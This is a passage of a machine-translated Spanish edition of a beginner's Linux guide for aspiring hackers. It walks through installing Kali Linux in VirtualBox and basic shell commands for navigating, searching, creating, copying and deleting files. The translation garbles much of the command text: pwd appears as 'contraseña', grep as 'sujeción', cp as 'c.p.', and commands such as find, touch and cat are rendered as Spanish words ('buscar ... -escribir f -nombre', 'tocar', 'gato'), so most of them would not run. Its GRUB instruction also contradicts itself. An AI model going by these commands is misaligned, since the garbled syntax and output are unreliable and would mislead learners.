y seleccione el archivo de imagen de Kali (consulte la Figura 9).

Figura 9: Selección de su disco de inicio

Luego haga clic en Iniciar. ¡Felicitaciones, acaba de instalar Kali Linux en una máquina
virtual!

Configuración de Kali

Kali ahora abrirá una pantalla como la Figura 10, que le ofrece varias opciones
de inicio. Sugiero usar la instalación gráfica para principiantes. Utilice las teclas
de su teclado para navegar por el menú.
Si obtiene un error cuando está instalando Kali en su VirtualBox, es probable que no
tenga la virtualización habilitada en el BIOS de su sistema. Cada sistema y su BIOS son
ligeramente diferentes, así que consulte con su fabricante o busque soluciones en línea para
su sistema.
Machine Translated by Google

y BIOS. Además, en los sistemas Windows, es probable que deba deshabilitar


cualquier software de virtualización de la competencia, como Hyper-V. Nuevamente,
una búsqueda en Internet de su sistema debería guiarlo para hacerlo.

Figura 10: Selección del método de instalación

A continuación, se le pedirá que seleccione su idioma. Asegúrese de seleccionar


el idioma en el que se sienta más cómodo para trabajar y luego haga clic en Continuar.
A continuación, seleccione su ubicación, haga clic en Continuar y luego seleccione la
distribución de su teclado.
Cuando haga clic en Continuar, VirtualBox pasará por un proceso de detección de
su hardware y adaptadores de red. Solo espera pacientemente mientras lo hace.
Eventualmente, será recibido por una pantalla que le pedirá que configure su red,
como en la Figura 11.
Machine Translated by Google

Figura 11: Ingresar un nombre de host

El primer elemento que solicita es el nombre de su anfitrión. Puedes nombrarlo


lo que quieras, pero dejé el mío con el "kali" predeterminado.
A continuación, se le pedirá el nombre de dominio. No es necesario ingresar
nada aquí. Haga clic en Continuar. La siguiente pantalla, que se muestra en la
Figura 12, es muy importante. Aquí, se le solicita la contraseña que desea usar
para el usuario raíz.
Machine Translated by Google

Figura 12: Elegir una contraseña

El usuario raíz en Linux es el administrador del sistema todopoderoso. Puede


utilizar cualquier contraseña con la que se sienta seguro. Si se tratara de un sistema
físico que usáramos en Internet, le sugiero que use una contraseña muy larga y
compleja para limitar la capacidad de un atacante para descifrarla.
Dado que esta es una máquina virtual a la que las personas no pueden acceder sin
acceder primero a su sistema operativo host, la autenticación de contraseña en
esta máquina virtual es menos importante, pero aún debe elegir sabiamente.
Haga clic en Continuar y se le pedirá que configure su zona horaria. hazlo
y luego continuar.

La siguiente pantalla pregunta sobre los discos de partición (una partición es


exactamente lo que parece: una porción o segmento de su disco duro). Elija Guiado
Machine Translated by Google

– use todo el disco, y Kali detectará sus discos duros y configurará un


particionador automáticamente.
Kali le advertirá que todos los datos del disco que seleccione se borrarán. . .
¡pero no te preocupes! Este es un disco virtual, y el disco es nuevo y está
vacío, por lo que en realidad no hará nada. Haga clic en Continuar.
Kali ahora le preguntará si quiere todos los archivos en una partición o si
quiere tener particiones separadas. Si se tratara de un sistema de producción,
probablemente seleccionaría particiones separadas para /home, /var y /tmp,
pero teniendo en cuenta que lo usaremos como un sistema de aprendizaje en
un entorno virtual, es seguro que simplemente seleccione Todo archivos en
una partición.
Ahora se le preguntará si desea escribir los cambios en el disco.
Seleccione Finalizar partición y escriba los cambios en el disco. Kali le
preguntará una vez más si desea escribir los cambios en el disco; seleccione
Sí y haga clic en Continuar (consulte la Figura 13).
Machine Translated by Google

Figura 13: Escritura de cambios en el disco

Kali ahora comenzará a instalar el sistema operativo. Esto podría tomar un


tiempo, así que tenga paciencia. Ahora es el momento de tomar su descanso para
ir al baño y tomar su bebida favorita.
Una vez completada la instalación, se le preguntará si desea utilizar un espejo
de red. Esto realmente no es necesario, así que haga clic en No.

Luego, Kali le preguntará si desea instalar GRUB (Grand Unified Bootloader),


que se muestra en la Figura 14. Un cargador de arranque le permite seleccionar
diferentes sistemas operativos para iniciar, lo que significa que cuando inicia su
máquina, puede iniciar en cualquiera de los dos. Kali u otro sistema operativo.
Seleccione Sí y haga clic en Continuar.
Machine Translated by Google

Figura 14: Instalación de GRUB

En la siguiente pantalla, se le preguntará si desea instalar el cargador de


arranque GRUB de forma automática o manual. Por razones que aún no están
claras, si elige la segunda opción, Kali tenderá a bloquearse y mostrar una pantalla
en blanco después de la instalación. Seleccione Introducir dispositivo manualmente,
como se muestra en la Figura 15.
Machine Translated by Google

Figura 15: Ingresando su dispositivo manualmente

En la siguiente pantalla, seleccione la unidad donde debe instalarse el


cargador de arranque GRUB (probablemente será algo como /dev/sda).
Haga clic en la siguiente pantalla, que debería indicarle que la instalación
está completa.
¡Felicidades! Ha instalado Kali. Haga clic en Continuar. Kali intentará
reiniciarse y verá varias líneas de código en una pantalla negra y en blanco
antes de que finalmente aparezca la pantalla de inicio de sesión de Kali
2018, como se muestra en la Figura 16.
Machine Translated by Google

Figura 16: La pantalla de inicio de sesión de Kali

Inicie sesión como root y se le pedirá su contraseña. Ingrese la


contraseña que seleccionó para su usuario raíz.
Después de iniciar sesión como root, será recibido con Kali Linux
escritorio, como en la Figura 17.
Machine Translated by Google

Figura 17: La pantalla de inicio de Kali

¡Ya está listo para comenzar su viaje al emocionante campo de la


piratería! ¡Bienvenidos!
Machine Translated by Google

1
COMENZANDO CON LO BÁSICO

Por nuestra propia naturaleza, los hackers son hacedores. Queremos tocar y jugar
con las cosas. También queremos crear y, a veces, romper cosas. Pocos de nosotros
queremos leer largos tomos de teoría de la tecnología de la información antes de
poder hacer lo que más amamos: piratear. Con eso en mente, este capítulo está
diseñado para brindarle algunas habilidades fundamentales para que pueda
comenzar a usar Kali. . . ¡ahora!

En este capítulo, no entraremos en ningún concepto en gran detalle: cubriremos


lo suficiente para que pueda jugar y explorar en el sistema operativo de los piratas
informáticos: Linux. Guardaremos discusiones más profundas para capítulos
posteriores.

Términos y conceptos introductorios


Antes de comenzar nuestro viaje por el maravilloso mundo de Linux Basics for
Hackers, quiero presentar algunos términos que deberían aclarar algunos conceptos
que se analizan más adelante en este capítulo.

Binarios Este término se refiere a archivos que se pueden ejecutar, de


forma similar a los ejecutables de Windows. Los archivos binarios
generalmente residen en el directorio /usr/bin o usr/sbin e incluyen utilidades
como ps, cat, ls y cd (hablaremos de las cuatro en este capítulo), así como aplicaciones
Machine Translated by Google

como la herramienta de piratería inalámbrica aircrack-ng y el sistema de detección de intrusos


(IDS) Snort.

Distinción de mayúsculas y minúsculas A diferencia de Windows, Linux distingue entre


mayúsculas y minúsculas. Esto significa que Desktop es diferente de Desktop, que es diferente
de DeskTop. Cada uno de estos representaría un archivo o nombre de directorio diferente.
Muchas personas que vienen de un entorno de Windows pueden encontrar esto frustrante. Si
recibe el mensaje de error "archivo o directorio no encontrado" y está seguro de que el archivo
o directorio existe, probablemente necesite verificar su caso.

Directorio Esto es lo mismo que una carpeta en Windows. Un directorio proporciona una forma
de organizar archivos, normalmente de forma jerárquica.

Inicio Cada usuario tiene su propio directorio /home, y aquí es generalmente donde los archivos
que cree se guardarán de forma predeterminada.

Kali Kali Linux es una distribución de Linux diseñada específicamente para pruebas de
penetración. Tiene cientos de herramientas preinstaladas, ahorrándote las horas que llevaría
descargarlas e instalarlas tú mismo. Usaré la última versión de Kali al momento de escribir este
artículo: Kali 2018.2, lanzado por primera vez en abril de 2018. root Como casi todos los
sistemas operativos, Linux tiene una cuenta de administrador o superusuario, diseñada para

que la use una persona de confianza que puede hacer casi cualquier cosa en el sistema. Esto
incluiría cosas como reconfigurar el sistema, agregar usuarios y cambiar contraseñas. En Linux,
esa cuenta se llama root. Como hacker o pentester, a menudo usará la cuenta raíz para tener
control sobre el sistema.

De hecho, muchas herramientas de piratas informáticos requieren que use la cuenta raíz.

Script Se trata de una serie de comandos que se ejecutan en un entorno interpretativo que
convierte cada línea en código fuente. Muchas herramientas de piratería son simplemente
scripts. Las secuencias de comandos se pueden ejecutar con el intérprete de bash o cualquiera
de los otros intérpretes de lenguaje de secuencias de comandos, como Python, Perl o Ruby.
Python es actualmente el intérprete más popular entre los piratas informáticos.

Shell Este es un entorno e intérprete para ejecutar comandos en Linux. El shell más utilizado
es bash, que significa
Machine Translated by Google

Bourne-again shell, pero otros shells populares incluyen el shell C y el shell Z. Usaré
el shell bash exclusivamente en este libro.

Terminal Esta es una interfaz de línea de comandos (CLI).

Con esos conceptos básicos detrás de nosotros, intentaremos desarrollar metódicamente


las habilidades esenciales de Linux que necesitará para convertirse en un hacker o un
probador de penetración. En este primer capítulo, lo guiaré para comenzar con Kali Linux.

Un recorrido por Kali

Una vez que inicie Kali, aparecerá una pantalla de inicio de sesión, como se muestra en la
Figura 1-1. Inicie sesión con el nombre de usuario de la cuenta raíz y la contraseña
predeterminada también.

Figura 1-1: Iniciar sesión en Kali usando la cuenta raíz

Ahora debería tener acceso a su escritorio Kali (vea la Figura 1-2).


Veremos rápidamente dos de los aspectos más básicos del escritorio: la interfaz del
terminal y la estructura de archivos.
Machine Translated by Google

Figura 1-2: El escritorio de Kali

La terminal
El primer paso para usar Kali es abrir la terminal, que es la interfaz de línea
de comandos que usaremos en este libro. En Kali Linux, encontrará el
icono de la terminal en la parte inferior del escritorio. Haga doble clic en
este icono para abrir la terminal o presione CTRL-ALT-T. Su nueva terminal
debe verse como la que se muestra en la Figura 1-3.
Machine Translated by Google

Figura 1-3: La terminal Kali

Este terminal abre el entorno de la línea de comandos, conocido como shell,


que le permite ejecutar comandos en los sistemas operativos subyacentes y
escribir scripts. Aunque Linux tiene muchos entornos de shell diferentes, el más
popular es el shell bash, que también es el shell predeterminado en Kali y muchas
otras distribuciones de Linux.
Para cambiar su contraseña, puede usar el comando passwd.

El sistema de archivos de Linux

La estructura del sistema de archivos de Linux es algo diferente a la de Windows.


Linux no tiene una unidad física (como la unidad C:) en la base del sistema de
archivos, sino que utiliza un sistema de archivos lógico en su lugar. En la parte
superior de la estructura del sistema de archivos está /, que a menudo se conoce
como la raíz del sistema de archivos, como si fuera un árbol al revés (consulte la Figura 1-4).
Tenga en cuenta que esto es diferente del usuario raíz. Estos términos pueden
Machine Translated by Google

parecen confusos al principio, pero serán más fáciles de diferenciar una vez que te
acostumbres a Linux.

Figura 1-4: El sistema de archivos de Linux

La raíz (/) del sistema de archivos está en la parte superior del árbol y la
Los siguientes son los subdirectorios más importantes que debe conocer:

/root El directorio de inicio del todopoderoso usuario raíz /etc

Generalmente contiene los archivos de configuración de Linux, archivos que controlan


cuándo y cómo se inician los programas /home El directorio de inicio del usuario /mnt

Donde otros sistemas de archivos se adjuntan o montan en el sistema de archivos /

media Donde los CD y dispositivos USB generalmente se conectan o montan en el


sistema de archivos /bin Donde los binarios de la aplicación (el equivalente de los

ejecutables en

Microsoft Windows) residen /lib

Donde encontrará bibliotecas (programas compartidos que son similares a


DLL de Windows)

Pasaremos más tiempo con estos directorios clave a lo largo de este libro. Comprender
estos directorios de primer nivel es importante para navegar por el sistema de archivos
desde la línea de comandos.
También es importante saber antes de comenzar que no debe iniciar sesión como root
cuando realiza tareas de rutina, porque cualquiera que piratee
Machine Translated by Google

su sistema (sí, los piratas informáticos a veces son pirateados) cuando está conectado
como root obtendrá inmediatamente privilegios de root y, por lo tanto, "poseerá" su
sistema. Inicie sesión como usuario habitual cuando inicie aplicaciones normales,
navegue por la web, ejecute herramientas como Wireshark, etc.

Comandos básicos en Linux

Para comenzar, veamos algunos comandos básicos que lo ayudarán a ponerse en


marcha en Linux.

Encontrarse a sí mismo con pwd A

diferencia de cuando trabaja en un entorno de interfaz gráfica de usuario (GUI) como


Windows o macOS, la línea de comando en Linux no siempre deja claro en qué
directorio se encuentra actualmente. Para navegar a un nuevo directorio, por lo
general, necesita saber dónde se encuentra actualmente. El comando actual del
directorio de trabajo, pwd, devuelve su ubicación dentro de la estructura del directorio.

Introduce pwd en tu terminal para ver dónde estás:

kali>
contraseña /raíz

En este caso, Linux devolvió /root, diciéndome que estoy en el directorio del
usuario raíz. Y debido a que inició sesión como root cuando inició Linux, también
debería estar en el directorio del usuario root, que está un nivel por debajo de la parte
superior de la estructura del sistema de archivos (/).
Si está en otro directorio, pwd devolverá ese nombre de directorio en su lugar.

Comprobación de su inicio de sesión con whoami


En Linux, el único superusuario o administrador del sistema “todopoderoso” se llama
raíz y tiene todos los privilegios del sistema necesarios para agregar usuarios,
cambiar contraseñas, cambiar privilegios, etc. Obviamente, no desea que cualquiera
tenga la capacidad de realizar dichos cambios; usted quiere
Machine Translated by Google

alguien en quien se pueda confiar y que tenga el conocimiento adecuado del sistema
operativo. Como hacker, generalmente necesita tener todos esos privilegios para ejecutar
los programas y comandos que necesita (muchas herramientas de hacker no funcionarán
a menos que tenga privilegios de root), por lo que querrá iniciar sesión como root.
Si ha olvidado si ha iniciado sesión como root o como otro usuario,
puede usar el comando whoami para ver con qué usuario ha iniciado sesión:

kali >raíz de
whoami

Si hubiera iniciado sesión como otro usuario, como mi cuenta personal,


whoami habría devuelto mi nombre de usuario en su lugar, como se muestra aquí:

veces > whoami


OTW

Navegación por el sistema de archivos de Linux

Navegar por el sistema de archivos desde la terminal es una habilidad esencial de Linux.
Para hacer cualquier cosa, debe poder moverse para encontrar aplicaciones, archivos y
directorios ubicados en otros directorios. En un sistema basado en GUI, puede ver
visualmente los directorios, pero cuando usa la interfaz de línea de comandos, la
estructura está completamente basada en texto y navegar por el sistema de archivos
significa usar algunos comandos.

Cambiar directorios con cd Para

cambiar directorios desde la terminal, use el comando de cambio de directorio, cd. Por
ejemplo, aquí se explica cómo cambiar al directorio /etc que se usa para almacenar
archivos de configuración:

kali >cd /etc


root@kali:/ etc#

El indicador cambia a root@kali:/ etc, lo que indica que estamos en /etc


directorio. Podemos confirmar esto ingresando pwd:

root@kali:/ etc# pwd/etc


Machine Translated by Google

Para subir un nivel en la estructura del archivo (hacia la raíz del archivo
estructura, o /), usamos cd seguido de puntos dobles (..), como se muestra aquí:

root@kali:/ etc# cd ..
raíz@kali:/ # pwd
/
raíz@kali:/ #

Esto nos sube un nivel desde /etc hasta el directorio /raíz, pero
Puedes subir tantos niveles como necesites. Solo usa la misma cantidad de
pares de puntos dobles como el número de niveles que desea mover:

Usaría .. para subir un nivel.


Usarías .. .. para subir dos niveles.
Usaría .. .. .. para subir tres niveles, y así sucesivamente.

Entonces, por ejemplo, para subir dos niveles, ingrese cd seguido de dos conjuntos
de puntos dobles con un espacio en medio:

kali > cd .. ..

También puede subir al nivel raíz en la estructura de archivos desde


en cualquier lugar ingresando cd /, donde / representa la raíz del sistema de archivos.

Listado de los contenidos de un directorio con ls


Para ver el contenido de un directorio (los archivos y subdirectorios), podemos
use el comando ls (lista). Esto es muy similar al comando dir en
Ventanas.

kali>ls
bin initrd.img boot media donde

initrd.img.old dev lib lib64 mnt correr sbin vmlinuz


etc inicio perdido+encontrado opt Srv vmlinuz.viejo
proc tmp
raíz usuario

Este comando enumera tanto los archivos como los directorios contenidos en el
directorio. También puede usar este comando en cualquier directorio en particular,
no solo en el que se encuentra actualmente, enumerando el nombre del directorio después
El comando; por ejemplo, ls /etc muestra lo que hay en el directorio /etc.
Machine Translated by Google

Para obtener más información sobre los archivos y directorios, como sus permisos,
propietario, tamaño y cuándo se modificaron por última vez, puede agregar el
modificador -l después de ls (la l significa largo). Esto a menudo se conoce como
listado largo. Intentémoslo aquí:

Como puede ver, ls -l nos brinda mucha más información, como si un objeto es un
archivo o un directorio, la cantidad de enlaces, el propietario, el grupo, su tamaño,
cuándo se creó o modificó y su
nombre.

Por lo general, agrego el interruptor -l cada vez que hago una lista en Linux, pero
para cada uno. Hablaremos más sobre ls -l en el Capítulo 5.
Algunos archivos en Linux están ocultos y no se revelarán con un simple comando
ls o ls -l . Para mostrar archivos ocultos, agregue un interruptor en minúsculas , como
entonces:

kali >ls-la

Si no está viendo un archivo que esperaba ver, vale la pena probar ls con la
bandera a .

Obteniendo ayuda

Casi todos los comandos, aplicaciones o utilidades tienen un archivo de ayuda


dedicado en Linux que brinda orientación para su uso. Por ejemplo, si necesitaba
ayuda para usar la mejor herramienta de craqueo inalámbrico, aircrack-ng, simplemente
podía escribir el comando aircrack-ng seguido del comando --help :

kali> aircrack-ng --ayuda


Machine Translated by Google

Tenga en cuenta el doble guión aquí. La convención en Linux es usar un guión doble
(--) antes de las opciones de palabras, como ayuda, y un guión simple (-) antes de las
opciones de una sola letra, como –h.
Cuando ingrese este comando, debería ver una breve descripción de la herramienta y
una guía sobre cómo usarla. En algunos casos, puede usar -h o -? para llegar al archivo de
ayuda. Por ejemplo, si necesitara ayuda para usar la mejor herramienta de escaneo de
puertos del hacker, nmap, ingresaría lo siguiente:

kali> nmap-h

Desafortunadamente, aunque muchas aplicaciones admiten las tres opciones (--help,


-h y -?), no hay garantía de que la aplicación que está utilizando lo haga.
Entonces, si una opción no funciona, pruebe con otra.

Hacer referencia a las páginas del manual con man

Además del interruptor de ayuda, la mayoría de los comandos y aplicaciones tienen una
página de manual (man) con más información, como una descripción y sinopsis del comando
o la aplicación. Puede ver una página man simplemente escribiendo man antes del
comando, la utilidad o la aplicación. Para ver la página del manual de aircrack-ng, por
ejemplo, debe ingresar lo siguiente:
Machine Translated by Google

Esto abre el manual de aircrack-ng, brindándole información más detallada


que la pantalla de ayuda . Puede desplazarse por este archivo manual usando
la tecla ENTER , o puede avanzar y retroceder en la página usando las teclas
PG DN y PG UP , respectivamente. Para salir, simplemente ingrese q (para
salir) y regresará al símbolo del sistema.

Encontrar cosas
Hasta que se familiarice con Linux, puede ser frustrante encontrar el camino,
pero el conocimiento de algunos comandos y técnicas básicos contribuirá en
gran medida a que la línea de comandos sea mucho más amigable.
Los siguientes comandos lo ayudan a ubicar cosas desde la terminal.

Buscar con localizar

Probablemente el comando más fácil de usar es localizar. Seguido de una


palabra clave que indica qué es lo que desea encontrar, este comando
recorrerá todo su sistema de archivos y ubicará cada aparición de esa palabra.
Machine Translated by Google

Para buscar aircrack-ng, por ejemplo, ingrese lo siguiente:

kali> localiza aircrack-ng/


usr/bin/aircrack-ng /usr/
share/applications/kali-aircrack-ng.desktop /usr/ share/
desktop-directories/ 05-1-01-aircrack-ng.directory-snip -- / var/lib/
dpkg/info/aircrack-ng.mg5sums

Sin embargo, el comando de localización no es perfecto. A veces, los resultados


de la localización pueden ser abrumadores y brindarle demasiada información.
Además, la ubicación utiliza una base de datos que generalmente solo se actualiza
una vez al día, por lo que si acaba de crear un archivo hace unos minutos o unas
horas, es posible que no aparezca en esta lista hasta el día siguiente. Vale la pena
conocer las desventajas de estos comandos básicos para que pueda decidir mejor cuándo usar cada
una.

Búsqueda de archivos binarios con whereis Si

está buscando un archivo binario, puede utilizar el comando whereis para localizarlo.
Este comando devuelve no solo la ubicación del binario, sino también su fuente y la
página man, si están disponibles. Aquí hay un ejemplo:

kali> donde está aircrack-ng


aircarck-ng:/usr/bin/aircarck-ng /usr/share/man/man1/aircarck-ng.1.gz

En este caso, whereis devuelve solo los archivos binarios y la página del manual
de aircrack-ng, en lugar de todas las apariciones de la palabra aircrack-ng. Mucho más
eficiente e iluminador, ¿no crees?

Encontrar binarios en la variable PATH con la que


El comando which es aún más específico: solo devuelve la ubicación de los archivos
binarios en la variable PATH en Linux. Veremos más de cerca la variable PATH en el
Capítulo 7, pero por ahora es suficiente saber que PATH contiene los directorios en
los que el sistema operativo busca los comandos que ejecuta en la línea de comandos.
Por ejemplo, cuando ingreso aircrack-ng en la línea de comando, el sistema operativo
busca la variable PATH para ver en qué directorios debe buscar aircrack-ng:
Machine Translated by Google

kali> que aircrack-ng/usr/bin/


aircrack-ng

Aquí, que pudo encontrar un solo archivo binario en los directorios enumerados en la variable
PATH . Como mínimo, estos directorios generalmente incluyen /usr/bin, pero pueden incluir /usr/sbin
y quizás algunos otros.

Realización de búsquedas más potentes con find El comando find es la más potente y

flexible de las utilidades de búsqueda . Es capaz de comenzar su búsqueda en cualquier directorio


designado y buscar una serie de parámetros diferentes, incluidos, por supuesto, el nombre del
archivo, pero también la fecha de creación o modificación, el propietario, el grupo, los permisos y el
tamaño.

Aquí está la sintaxis básica para encontrar:

encontrar expresión de opciones de directorio

Entonces, si quisiera buscar un archivo con el nombre apache2 (el servidor web de código
abierto) comenzando en el directorio raíz, ingresaría lo siguiente:

kali >encontrar /ÿ -tipo fÿ -nombre apache2ÿ

Primero indico el directorio en el que iniciar la búsqueda, en este caso / ÿ. Luego especifico qué

tipo de archivo buscar, en este caso f para un archivo ordinario ÿ. Por último, doy el nombre del

archivo que estoy buscando, en este caso apache2 ÿ.

Mis resultados para esta búsqueda se muestran aquí:

kali >buscar / -escribir f -nombre apache2 /


usr/lib/apache2/mpm-itk/apache2 /usr/lib/
apache2/mpm-event/apache2 /usr/lib/apache2/
mpm-worker/apache2 /usr/lib /apache2/mpm-
prefork/apache2 /etc/cron.daily/apache2 /etc/
logrotate.d/apache2 /etc/init.d/apache2 /etc/
default/apache2
Machine Translated by Google

El comando de búsqueda comenzó en la parte superior del sistema de archivos (/),


recorrió todos los directorios buscando apache2 en el nombre del archivo y luego enumeró
todas las instancias encontradas.

Como puede imaginar, una búsqueda que busca en todos los directorios puede ser
lenta. Una forma de acelerarlo es buscar solo en el directorio donde esperaría encontrar
los archivos que necesita. En este caso, estamos buscando un archivo de configuración,
por lo que podríamos iniciar la búsqueda en el directorio /etc, y Linux solo buscaría hasta
sus subdirectorios. Vamos a intentarlo:

kali >buscar /etc -tipo f -nombre apache2 /


etc/init.d/apache2 /etc/logrotate.d/apache2 /
etc/cron.daily/apache2

Esta búsqueda mucho más rápida solo encontró apariciones de apache2 en el directorio /
etc y sus subdirectorios. También es importante tener en cuenta que, a diferencia de otros
comandos de búsqueda, find muestra solo coincidencias exactas de nombres. Si el archivo
apache2 tiene una extensión, como apache2.conf, la búsqueda no encontrará ninguna
coincidencia. Podemos solucionar esta limitación mediante el uso de comodines, que nos
permiten hacer coincidir varios caracteres. Los comodines vienen en algunas formas
diferentes: * ? y []. .,

Busquemos en el directorio /etc todos los archivos que comiencen con apache2 y
tengan cualquier extensión. Para esto, podríamos escribir un comando de búsqueda
usando el siguiente comodín:

kali >buscar /etc -tipo f --nombre apache2.* /


etc/apache2/apache2.conf

Cuando ejecutamos este comando, encontramos que hay un archivo en el directorio /


etc que se ajusta al patrón apache2.* . Cuando usamos un punto seguido del comodín * ,
la terminal busca cualquier extensión después del nombre de archivo apache2. Esta puede
ser una técnica muy útil para encontrar archivos en los que no conoce la extensión del
archivo.

Cuando ejecuto este comando, encuentro dos archivos que comienzan con apache2 en
el directorio /etc, incluido el archivo apache2.conf.

UN VISTAZO RÁPIDO A LOS COMODINES


Machine Translated by Google

Digamos que estamos haciendo una búsqueda en un directorio que tiene los archivos cat, hat, what y bat. los
? el comodín se usa para representar un solo carácter, por lo que una búsqueda de ?at encontraría hat, cat,
y bat pero no qué, porque at en este nombre de archivo está precedido por dos letras. el []
El comodín se utiliza para hacer coincidir los caracteres que aparecen dentro de los corchetes. Para
Por ejemplo, una búsqueda de [c,b]at coincidiría con gato y murciélago, pero no con sombrero o qué. Entre la
comodines más utilizados es el asterisco (*), que coincide con cualquier carácter de cualquier
longitud, desde ninguno hasta un número ilimitado de caracteres. Una búsqueda de *at, por ejemplo,
encontraría gato, sombrero, qué y murciélago.

Filtrado con grep


Muy a menudo, al utilizar la línea de comandos, querrá buscar un
palabra clave en particular. Para esto, puede usar el comando
sujeción como un filtro para
buscar palabras clave.
los sujeción El comando se usa a menudo cuando la salida se canaliza desde un

mando a otro. Cubro las tuberías en el Capítulo 2, pero por ahora, es suficiente
decir que Linux (y Windows para el caso) nos permite tomar la
salida de un comando y enviarlo como entrada a otro comando. Esta
se llama tubería, y usamos el | comando para hacerlo (la tecla | suele ser
encima de la tecla ENTER de su teclado).
los PD El comando se utiliza para mostrar información sobre los procesos.

funcionando en la máquina. Cubrimos esto con más detalle en el Capítulo 6, pero


para este ejemplo, supongamos que quiero ver todos los procesos que se ejecutan en mi
sistema linux En este caso, puedo usar el comando ps (procesos)
seguido de los interruptores auxiliares para especificar qué información de proceso
mostrar, así:

kali > ps auxiliar

Esto me proporciona una lista de todos los procesos que se ejecutan en este
sistema, pero ¿qué pasa si solo quiero encontrar un proceso para ver si es
¿corriendo?
Puedo hacer esto canalizando la salida de pd a grep y buscando un
palabra clave. Por ejemplo, para averiguar si el servicio apache2 está
corriendo, entraría en lo siguiente.
Machine Translated by Google

kali >ps aux | grep apache2


root 4851 0.2 0.7 37548 7668 ? Ss 10:14 0:00 /usr/sbin/apache2 -k iniciar raíz 4906 0.0 0.4
37572 4228 ? S 10:14 0:00 /usr/sbin/apache2 -k iniciar raíz 4910 0.0 0.4 37572 4228 ? Ss
10:14 0:00 /usr/sbin/apache2 -k inicio --recorte--

Este comando le dice a Linux que muestre todos mis servicios y luego envíe
esa salida a grep, quemostrará
buscará solo
en lalasalida
salidalarelevante,
palabra clave apache2
lo que y luego
me ahorrará un
tiempo considerable y me ahorrará la vista.

Modificación de archivos y directorios


Una vez que haya encontrado sus archivos y directorios, querrá poder realizar
acciones en ellos. En esta sección, veremos cómo crear archivos y directorios,
copiar archivos, renombrar archivos y eliminar archivos y directorios.

Creación de archivos

Hay muchas formas de crear archivos en Linux, pero por ahora solo veremos dos
métodos simples. El primero es gato, que es la abreviatura de concatenar, lo que
significa combinar piezas (no es una referencia a tu felino domesticado favorito).
El comando cat generalmente se usa para mostrar el contenido de un archivo,
pero también se puede usar para crear archivos pequeños. Para crear archivos
más grandes, es mejor ingresar el código en un editor de texto como vim, emacs,
leafpad, gedit o kate y luego guardarlo como un archivo.

Concatenación con gato

El comando cat seguido de un nombre de archivo mostrará el contenido de ese


archivo, pero para crear un archivo, seguimos el comando cat con una redirección,
denotada con el símbolo > , y un nombre para el archivo que queremos crear.
Aquí hay un ejemplo:

kali >cat > habilidades de


hacking ¡La piratería es el conjunto de habilidades más valioso del siglo XXI!
Machine Translated by Google

Cuando presione ENTER, Linux entrará en modo interactivo y esperará a que comience
a ingresar contenido para el archivo. Esto puede ser desconcertante porque el indicador
desaparece, pero si simplemente comienza a escribir, todo lo que ingrese irá al archivo (en
este caso, habilidades de piratería). Aquí, ingresé ¡ Hackear es el conjunto de habilidades
más valioso del siglo XXI!. Para salir y volver a la indicación, presiono CTRL-D. Luego,
cuando quiero ver qué hay en el archivo hackingskills, ingreso lo siguiente:

kali >cat hackingskills ¡La


piratería es el conjunto de habilidades más valioso del siglo XXI!

Si no usa el símbolo de redirección, Linux escupirá el contenido de su archivo.

Para agregar o agregar más contenido a un archivo, puede usar el comando cat con
una doble redirección (>>), seguido de lo que desee agregar al final del archivo. Aquí hay
un ejemplo:

kali > gato >> habilidades de hacking


Todo el mundo debería aprender a hackear

Linux una vez más entra en modo interactivo, esperando que el contenido se agregue
al archivo. Cuando entro Todos deberían aprender a hackear y presiono CTRL-D, vuelvo
a la indicación. Ahora, cuando muestro el contenido de ese archivo con cat, puedo ver que
el archivo se ha agregado con Todos deberían aprender a hackear, como se muestra aquí:

kali >cat hackingskills ¡La


piratería es el conjunto de habilidades más valioso del siglo XXI! Todo el mundo debería aprender a
hackear

Si quiero sobrescribir el archivo con nueva información, simplemente puedo usar el


comando cat con una sola redirección nuevamente, de la siguiente manera:

kali > gato > habilidades de hacking


Todos en la seguridad de TI sin habilidades de piratería están en la oscuridad kali>
cat hackingskills
Todos en seguridad de TI sin habilidades de piratería están en la oscuridad

Como puede ver aquí, Linux entra en modo interactivo, ingreso el nuevo texto y luego
vuelvo al mensaje. Cuando vuelvo a usar
Machine Translated by Google

cat para ver el contenido del archivo, veo que mis palabras anteriores se han sobrescrito con el último texto.

Creación de archivos con toque


El segundo comando para la creación de archivos es táctil. Este comando se desarrolló
originalmente para que un usuario pudiera simplemente tocar un archivo para cambiar
algunos de sus detalles, como la fecha en que se creó o modificó. Sin embargo, si el
archivo aún no existe, este comando crea ese archivo de forma predeterminada.
Vamos a crear un nuevo archivo con toque:

kali >tocar archivo nuevo

Ahora, cuando uso ls –l para ver la lista larga del directorio, veo que se ha creado
un nuevo archivo llamado newfile. Tenga en cuenta que su tamaño es 0 porque no hay
contenido en newfile.

Crear un directorio El comando

para crear un directorio en Linux es mkdir, una contracción de make directory. Para
crear un directorio llamado newdirectory, ingrese el siguiente comando:

kali >mkdir nuevodirectorio

Para navegar a este directorio recién creado, simplemente ingrese esto:

kali >cd directorio nuevo

Copiando un Archivo

Para copiar archivos, usamos


c.p. el comando. Esto crea un duplicado del archivo

en la nueva ubicación y deja el anterior en su lugar.


Aquí, crearemos el archivo oldfile en el directorio raíz con toque y lo copiaremos a /
root/newdirectory, renombrándolo en el proceso y dejando el archivo antiguo original
en su lugar:
Machine Translated by Google

kali >tocar archivo antiguo


kali >cp archivoantiguo /raíz/directorionuevo/archivonuevo

Cambiar el nombre del archivo es opcional y se realiza simplemente agregando el


nombre que desea darle al final de la ruta del directorio. Si no cambia el nombre del
archivo cuando lo copia, el archivo conservará el nombre original de forma predeterminada.

Cuando navegamos a newdirectory, vemos que hay una copia exacta de oldfile
llamada newfile:

kali> cd directorio nuevo kali>


ls

archivo nuevo archivo antiguo

Cambiar el nombre de un archivo

Desafortunadamente, Linux no tiene un comando destinado únicamente a cambiar el


nombre de un archivo, como lo hacen Windows y algunos otros sistemas operativos, pero
tiene el comando mv (mover).
El comando mv se puede usar para mover un archivo o directorio a una nueva
ubicación o simplemente para dar un nuevo nombre a un archivo existente. Para cambiar
el nombre de newfile a newfile2, debe ingresar lo siguiente:

kali >mv archivo nuevo archivo


nuevo2 kali >ls archivo antiguo
archivo nuevo2

Ahora, cuando enumera (ls) ese directorio, ve newfile2 pero no newfile, porque se le
ha cambiado el nombre. Puedes hacer lo mismo con los directorios.

Eliminación de un archivo

Para eliminar un archivo, simplemente puede usar el comando rm , así:

kali> rm archivo nuevo2


Machine Translated by Google

Si ahora hace una lista larga en el directorio, puede confirmar que el archivo se ha
eliminado.

Eliminación de un directorio

El comando para eliminar un directorio es similar al comando rm para eliminar archivos


pero con dir (para directorio) adjunto, así:

kali > rmdir nuevo directorio


